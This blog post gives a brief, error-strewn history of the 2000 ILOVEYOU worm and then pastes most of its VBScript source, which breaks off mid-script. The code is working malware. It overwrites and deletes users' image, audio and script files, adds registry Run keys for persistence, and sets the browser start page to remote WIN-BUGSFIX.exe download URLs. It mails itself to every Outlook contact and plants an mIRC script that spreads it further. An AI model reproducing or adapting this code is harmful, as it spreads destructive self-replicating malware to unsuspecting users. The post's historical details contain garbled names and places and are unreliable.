I LOVE YOU Virus Source Code and History
This post is about one of the greatest hacks all the time, ILOVEYOU virus aka love letter virus which affected 10 million computers and almost 10% percent of computers at the time of 2000.
Cheap History
On 5th May 2000, Reonel Ramones and Onel de Guzmen of Philippines created a virus name ILOVEYOU. It originated in Pandacan then spread across honking, Europe and then to US. This effected the loss around $20 billion.
Source Code
ILOVEYOU virus was written in Microsoft Visual Basic Scripting (VBS). This worm searches for the JPG, JPEG,VBS, VBE, JS, JSE, CSS, WSH, SCT, DOC, HTA, MP2 and MP3 virus replicates everything.
The mail was sent to everyone with the subject ILOVEYOU and an attached file LOVE-LETTER-FOR-YOU.txt.vbs. Windows have a default option of hiding extensions so .vbs extension was hidden and .txt was visible this is social engineering technique. As everyone opened it as result they also became victim.
Here is the source code for that
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 | rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!-- |